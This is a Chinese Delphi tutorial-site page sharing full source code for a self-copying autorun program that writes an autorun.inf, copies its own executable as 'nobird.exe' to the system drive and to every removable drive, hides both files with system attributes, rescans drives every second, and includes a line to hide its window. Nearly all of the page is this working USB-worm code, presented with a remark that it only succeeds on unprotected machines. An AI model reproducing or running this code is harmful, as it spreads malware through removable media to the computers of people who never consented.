delphi之autorun(复制自身+循环扫描)  
官方Delphi 学习QQ群: 682628230(三千人)
频道

delphi之autorun(复制自身+循环扫描)


话说这段还是很菜的代码,仅仅是在无保护的机子上实现效果而已。

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,Tlhelp32,  StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
var
s,s1,s2,s3:string;
i:char;
inf:textfile;
var
   win: longint;
   msg: Tmsg;
implementation
{$R *.dfm}
 function GetWinDir: string;
var
   Buf: array[0..MAX_PATH] of char;
begin
   GetSystemDirectory(Buf, MAX_PATH);
   Result := Buf;
   if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
begin
//========================创建autorun.inf文件===================================
begin
s:=ExpandFileName(ParamStr(0));    //获取自身的完整路径
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
FileSetAttr(s,0);
FileSetAttr(s1,0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open=nobird.exe');
writeln(inf, 'shell\open=打开(&O)');
writeLn(inf, 'shell\open\Command=nobird.exe');
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=资源管理器(&X)');
writeln(inf, 'shell\explore\Command=nobird.EXE');
closefile(inf);
end;
//=====================================end======================================
//=============================将文件复制到系统盘符下===========================
    s2:=copy(getwindir,1,1);
    s3:=pchar(s2+':\autorun.inf');
    s2:=pchar(s2+':\nobird.exe');
    copyfile(pchar(s),pchar(s2),false);
    copyfile(pchar(s1),pchar(s3),false);
    FileSetAttr(s2,7);
    FileSetAttr(s3,7);
//==================================end=========================================
//=============================将文件复制到所有磁盘===========================
for i:='C' to 'Z' do
if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then
begin
    s2:=i;
    s3:=pchar(i+':\autorun.inf');
    s2:=pchar(s2+':\nobird.exe');
    copyfile(pchar(s),pchar(s2),false);
    copyfile(pchar(s1),pchar(s3),false);
    FileSetAttr(s2,7);
    FileSetAttr(s3,7);
   end;
//================================end===========================================
end;
begin
   //下面的代码在调试的时候最好注释掉,不然你会很郁闷...
   win := getforegroundwindow; //获取当前窗体的句柄
   //showwindow(win, SW_HIDE); //隐藏窗体
   SetTimer(0, 10, 1000, @TForm1.Button1Click); //定时间器,一秒钟扫描一次
   while GetMessage(msg, 0, 0, 0) do DispatchMessage(msg);
   KillTimer(0, 10);
end;
end;
end.

推荐分享
图文皆来源于网络,内容仅做公益性分享,版权归原作者所有,如有侵权请告知删除!
 

Copyright © 2014 DelphiW.com 开发 源码 文档 技巧 All Rights Reserved
晋ICP备14006235号-8 晋公网安备 14108102000087号

执行时间: 0.042191028594971 seconds